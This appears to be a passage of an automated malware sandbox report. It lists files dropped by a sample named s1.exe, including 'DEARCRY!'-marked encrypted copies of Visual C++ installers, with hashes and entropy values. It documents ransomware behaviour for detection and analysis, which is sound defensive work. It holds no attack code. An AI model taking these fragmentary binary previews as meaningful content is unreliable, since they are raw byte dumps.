..@..G6gq.O...e.....N..{...C.<+z.A.....)/.@.G..H%.o..t.g...lT.......A.+5.+(.m.....,Y..R.".A..}4t..XI...ql>...S[$...I.../qC.R.1......uhr.7.t......>..P.s....y.AK2.5...{YHs:._!G......"#.}..G4...."..U.....@.#f..z....o.....Z...+.......Y.'.."..T.6...o%.Q.'5.JL.Faq9E..?...2F7....v..t.-..H.A...:kN3Q.I..p_|]..A.*7Z8..........i.Gh|+..'\].~.....=L.`<?V...3..V{T....,N....P'".#..3V4....}!..d@.TR.xQ..f.L...S,..K...g3....P.l.......*.(.......U*...I..c..3..>....w...X..K..C.Y....&n......W1..#A.D......
                                                              C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4101480
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:225E3DFEF0FD9F36A7B2C1BF24977325
                                                              SHA1:92F2085E8BE3959BA52B86A4FCA9E20C27951A7A
                                                              SHA-256:0800FBA82A072F8EA1C11EA9892DFADFB507B87489FA2253698FC4B44F546108
                                                              SHA-512:F679E535128B4F7303D4BD6CD05470609DC51D7714B4DC6BEEC46F88E172F37ADFB2F86D10BEDE7A1255C222F38B30E1A2FFC8EB3C37F57B00A9312E8C67AA97
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4104072
                                                              Entropy (8bit):7.999955988359845
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D2A95A71A77DEBFDA1CEADACBFE10F36
                                                              SHA1:3299184BD167D85AA3B62FB183248263BE3FBA87
                                                              SHA-256:85DC54A36CDDB5224266CE7026C0AC5CDAB62C0ACE756B036D70AB6A607671D5
                                                              SHA-512:77ACE9A23414DAE0FC946146C610BAE0F8A9CCCB0528A5093E9AA60FDB99BA957A8EAB4C7A0DD7880832C2A9986ABA924EEF301A892236728FAC89B629C41FCC
                                                              Malicious:true
                                                              Preview: DEARCRY!........].....zG..GU..p....*f..s...w.p.....y.O@SFe.M..?.......f.<.i[1.:.CF.k.H..{.'q.z..X-."N....ZG......3....f..........$Y[A..GKH...]@...[....VC".....?..w.o..:.t...x...u.m<y.XF...._...<B....o.D...S.<.#R..RI.s.3(b..C....?.m09...2.Z..>?.~...r.@......(........|f..xv.^.nj....D.p}...=..*r..0.5......V....h.(.vA2'a.......:8....h.R.-.Ze......WQ.....H..R+.z.-N_....'...._O".I.Q...V..9.]...#..k]..&.4-...........3.O)o..c(.&%.b.o.Q|$<G.H.....4j&........l......P...S.|..g.r.m-{...\.d;.E...<.6i-..].......Bi..F]b........$..........W...F........g.{]|.c..2.<.R.<..o....\t...'%.3.......6......f.)....4.%U.e.oQ.^....Q..-....p..";]>...k7.p.._..X.......<.0..f8...F........]..:...P.Q.,..Q...Dh.2..."6ke\......l.-.Ke..3..#.Ku.i....].U.KX:.B.....6....j.W+.8-1.........'..S.."*.i5L.!D..{@L..u.C...jh.$O..B[.F..j_.m....L.X...e.&..y.~.....'. .W.r.........C^...~m....w.....[.-@q.U.ZU.G.-q:.....?.Y..I...M.(.....ZmQg?::......$@.Y...5._.K..4G'...:...?.V.U....W.G.
                                                              C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5891544
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:62119075C2151458F7A6390FE6754B71
                                                              SHA1:CE674D0407458DC51B971784D7204958ABC00770
                                                              SHA-256:0C89351773402575AD0B50E7815395B8D528053B07DFDDA297C09D91D77419BF
                                                              SHA-512:54840DC3E1BAA5143394BC49DAC12B1A9CB4B0CC6F33C67631492F0E3FEEAB01FF1A94CE5A14C0CD58019ABC3B83D151011A9DD5999F8096E8DCF3EB9718EF8C
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5894136
                                                              Entropy (8bit):7.999974018920761
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:1E5B6F53639B95EEB61B91E99B809C6E
                                                              SHA1:A8C20C7CA36ACEA90002B35694BF4F67D8C9016F
                                                              SHA-256:EF6F59AA6FC5471F9367FDC9C170A5CC94A2F403EAA94E01936E2AF94C14920C
                                                              SHA-512:9D5329E424437D77E5DADC3EA77844B380F68D78D75E3333736C852655CD30265C756B7159551994E9B3895737BD01659D9D9257EF680E2BD7F323F6579FC317
                                                              Malicious:true
                                                              Preview: DEARCRY!.....I..5.L.....tSS0......-{S.p.....1.^..'#-.....d...._#.Q..w.u.KOu.>.%b)/._|..M...4S.. "....X4F.p..=.....4~..H.;"..pa4(..u~(.~.......z..Hh........*.....6Q.e.....#.O ...7n#.2..C\.+..2C.E+.a,.a....2L.V.Q..5.7...(.e5V.8..... .G.2;.-*C...:.CD9....L................Z..n6....+..../...R.8.9...r>.....T.....1z.h].~i...%..L>...vy....k.-.\.]Zm....LC...N..d....e.wl.Q.V&q..d;..1...jb..j...sw... ...{..q.HZ..v..K-..r.q.......|W.UGT..\P.N.=..........O.0.......{..@{...q....e....p">.j9.....w..<...C%S).CSr6.I..%q.X...j.\...A..*M..hi....B...?.%. .p./.v.....t.&...y.pv.F.F...."2.)....x......jb.L..*N..$Q.]...H..*.+..@p.l @v..g.J....c..#..V.#Q..L.....d.YL.WR..%....}[.].e...r..)..8.m..8Kd. ...t.5.....Q...zn.wL....W.y....Z(..`...".C..G^.@G...p.2..Y.@......].I.k..p....A3..d.Z.Q.u.eQ...Dy.....o..ix.7.....k.m.....8.4C-...Q.|,z....)..O@.....0....w.....=SerC...O..v....|. KBY.PJ.,..=]....h.MFz..2..rEX+@..~..J.)..;..VO.Tl5W.Mz-s}*...d.V}.,.?..x.x........s.S....
                                                              C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4100184
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5097C827E5D349652FBD87E90D71199E
                                                              SHA1:42A037408B30A75AAA6049E3490802C9733EC360
                                                              SHA-256:6C468A64643676752CB8E4E265CB07B36F60C1408437150D5277D1C0581B9177
                                                              SHA-512:6987B397073FF3891BCBE423514FB547E6261CE90153000DB11D5A199500EE7E23B5D049C9D8A88DF7C09EE2681F01242857ABB9EBB71DFEA24CD2505BC2AAF8
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4102776
                                                              Entropy (8bit):7.999950852730096
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:6FBD732104F6C30387EA33DF1F871AE1
                                                              SHA1:FC0C8877A54A51AF068E23565EB46E911CEBB13E
                                                              SHA-256:D6AAAB7829E6C9E986ACADA04FF9A142B7BFFC8FEE723D941567BA48AFFBF358
                                                              SHA-512:A08DFC6D22CE715A8ECEDC04C8D62F0FCAF65870608C524B2B4B86FC87BF8C42582B455B5266F3495FFF7C8CEB243318E6F742D0B0C28518B395657006035B83
                                                              Malicious:true
                                                              Preview: DEARCRY!....C..7........|..^....lS,s-.i...$....0.St>.o3><..l..UK......g."t.ZHQ......H.Y......l.g.KM\.=..qT."3...2...8.`....;G.w}.._.G..f.l7.....5.....&.g...i.....h...2..t...8.9 ..E..L...9x......t+.2Mt.....o...y%...4.W..l.Y.F.y.u=..-rj..L.c-9...t...`_.....&...............<..3.K..5e$.KN..J.{.=..2.N.....fz..fT.d........nnOr...A...5.!.it.....2.-.^..o...bT...a....XM>....g....;D...b..4.,...`..E..e.M.|...:V..tu.=.........[.....t&w.........R."4<...%.H^.p\.eW.m,.J#(...jQ...Q.....5..B..U..o.b3...@ZR.n!+....e8...i.m%".[...H..p$.Ob..r.dM....b..h.s...}^.'{.6k.(n8[.+"P&.=I..R.,wY|z..E.u....K.=.e..Gp..Jd..w.!vR3b)..N?M.M[..x..v.V"n..a.S...7.s..J\.]...S+.J..C%.e.<..'......h.M~ae.d.`..9..a.:.v....,.Q.L..;.aQ...X[....6.b..p....-...@.K.E.......g.e\>b.|...%..Mz.~..\..0 ...O.,p..\.J..3wY2$.5tP...|...e.[.W.o....C.WjNV.Rp.0|.&._6..W+m..^.c).O..........6...{$....]......*/.1...').....-.....U7rZ...R]..5r.....%.g...m..P...W1.>t.....S^.r.........l...#HJ..28c..W..^.....ll.\l.
                                                              C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5891616
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:479C11137C1BAE0B0CBBA53CEDAA294C
                                                              SHA1:2A93145202B0EAD2C516015816014B5FD83FD73A
                                                              SHA-256:ABFE99090C5ABE15607ACEC4FDF3E410DADD3870916427EB8049627924779DB3
                                                              SHA-512:CAD95D1F566ABF97BC8E1C9D4542247DEEB629AE094959971231E11EB9EEEC6BF11652E7988ECFE28963673156A729EE9496B81A21B7556A4CF023083925420D
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5894280
                                                              Entropy (8bit):7.99996617398785
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B38C8C59B9E8959CC9FCBFD60BFD7B80
                                                              SHA1:1685AC741E573C281B5BA62FEB68DD5D41003BF7
                                                              SHA-256:8A36D969F97B1E782A8356AC85D93515E571BE52057F1D59F46EFA63C2A6BE8A
                                                              SHA-512:981BCCA329F317A31E0288F5FD534AB7035F776838B0DCA36B0A01FB8ABD68408AEFF0B27904020DC17F151B0F3CFBACE7CEB25144CB8AE29DF68E53189EBF5D
                                                              Malicious:true
                                                              Preview: DEARCRY!....1W.2t\..>. ..Z.Z..T..^5..V...,...+XS..B...S.............2+....;i.U].^...._......T.{.!..,.....j|.../....r.g.r....v.,.rv/.71...>.....yM...Tk{=....v...D.f...c......p......>..sVx.V.r@....;..=.pk...i.....}....+..'.*OR.o...0.....;`.MAC......i..d.D..... .......4.IG>.X.[.....W.i ."..m.?..]...m..... -p..cG..J..z..~...;.R.........F......Q2r....b..u<.(7.."1...&.Q.....}-...x3wD(I(.@.K..F..`....i.H....5....yy-...._..M..bp5.....m.;?I1S.........d^.v.OKll......\....4...J.%...uy.d...........p .%...*..E..PUCNR.h.....i.B..4."2&..s..Z..AX.Q....)/6.....FgU'r......?.}.K.~`..JB..`......;!$.>..#..*.8.Q....5...b.o.$4.j2..O?4...}.........FR...(@.M.....{.s.a.k)..n...c.....7.^...U....-...,.hy.|.../nk.L......%...|..bqM.........EWi..G....d..`.ir._6.-v..).Y.......4@.y..]...J.I.+..u..|.....v..LX.nT%.#g.I..~..B.!.............J.\..v1@.J....Y..N....x.3........|......'V..N..YG......2..._..G.z.>a...bdU...9D"...5M$Y..|......5\..Dy.P.$.-....l..<b.....r5.|..%.wj/..
                                                              C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4152312
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:329A63916BF9B1FB3816230BA5A3544E
                                                              SHA1:951462EA600720E6F2956B27C1AD8D74F06E0801
                                                              SHA-256:669D451933161BA504D3F4D44A8F6E75C2F21ABFDD97B79FA163CB6CFB5FDF35
                                                              SHA-512:CD37DED3B00F30A404DBB6B74A5E0209FCD1DBCD9AA1DCE5D7BFB06E6C476D8194E3E1FDB0CE5A54D899D0F06DDF638F49927B09420AA123D1A53EC8B0E1940F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4154904
                                                              Entropy (8bit):7.9999607678184494
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D7443260BEE166E590DB8911D0977EC5
                                                              SHA1:994D8FA04459751132B895C4ACACC6FB289B7203
                                                              SHA-256:CF908A1F1B7512C1A4E6684151CCB293BD51FB6CE08D8E1BFC21AEF9AA99E693
                                                              SHA-512:566F516B5B983FEF1AA831A033C23EE3ECFEB950496F938B10AB79E783475491AB0156592D69C9EE4DA97AEE212F547DDD86D84C8C29BBDCD34BFF20A6F43F6C
                                                              Malicious:true
                                                              Preview: DEARCRY!....>vh..j.;.6sc..8.n..h%..2...|..;O.....D..`>S....?L.7C.y..{.T*..F..P..0T.u&...M-@..?C.H.....=."...P.....P.Lf....]r.r`.2pZ1.r.........w..{I.,.Yn..a....%Y..I.h:...t..}.........oM..2...S........*n...;.....:0..2...dV.-.P."...u..E..... .iE...,..........8.........!..P"l.78......bWg6..a.[V....3.&.)..M.m1..8O....='7]r..<L..'..-.G...e....P....s.c..k..}......C.e|,.._......."...q...*Te......<.d.......i.. .9..8.P^..?.f.so...^.]...r....a78.R..6..?...p....A...E..Y....}Y....X....Vq...tj...W....t.=.0.....c~.ozmZ.X.@Gxi.......#..`-k..6..hR.d...O9C"....I...`.c..#.H~.-........1.m......D...s=h...|..R.}....q..j.x.-yIp...6....6g8..tKh.z?..V .....r.7.V.....(........D.)OY.8......E.S).O."..?.\F..j....(u.?.......&..-..c.%.;..3..#..*.s.W...6.,T..1.sE..Y.[....~Wj.bCs..-.f.....tH/..h.k<.o.+....?...1..6z......Ss.1.ik.5......q..9I....=a.1.M$I..f.A%.}R. ...NN.p...d-.b..O.`..{C<....ui.D...*.jpD...T.w.5.....D...i..=...fc.<.&.3j..U..G.....J......2.X..o
                                                              C:\ProgramData\USOPrivate\UpdateStore\updatestore4df22196-a1f2-426c-aa27-062a9f86aba6.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2613
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AA52A7938D48F269F1EB5FD5F7DB6DF3
                                                              SHA1:BB8CDA30BB6EE239356E137066133AB5348BCF11
                                                              SHA-256:659F0E7E909127F98EDFCF83B7E4A8666C47A5569794AD5A0032BAB5FEF1DEF4
                                                              SHA-512:B2148188273BF99A7FA62D85C562A9DBCE4CB915C11B28F0126B5E36D78CEED50489A108DE46C2D580CF29AD4B5ACCA369C0A04E7AAAAF411EEDCFF84386B898
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\USOPrivate\UpdateStore\updatestore4df22196-a1f2-426c-aa27-062a9f86aba6.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2904
                                                              Entropy (8bit):7.9259912445320815
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:81441B8B63621C6C12B15A925829FA1B
                                                              SHA1:1E6FFAC53A93C83E0F7B92F62D611B998718C7C1
                                                              SHA-256:416EBB038836AAA6C8BEE5CBED7762287624DC2A1264D50FB1541D1760549A16
                                                              SHA-512:7E60F6F50429EE515BAD425D4ECF182F867CF8DE40C9847FD457DC3CE5523EC32A9EFCCD131F1F71CB50A3A64A8C78883503522E5682C225D7670F86BFB5090C
                                                              Malicious:false
                                                              Preview: DEARCRY!....$....U....sYZ.]....[.. 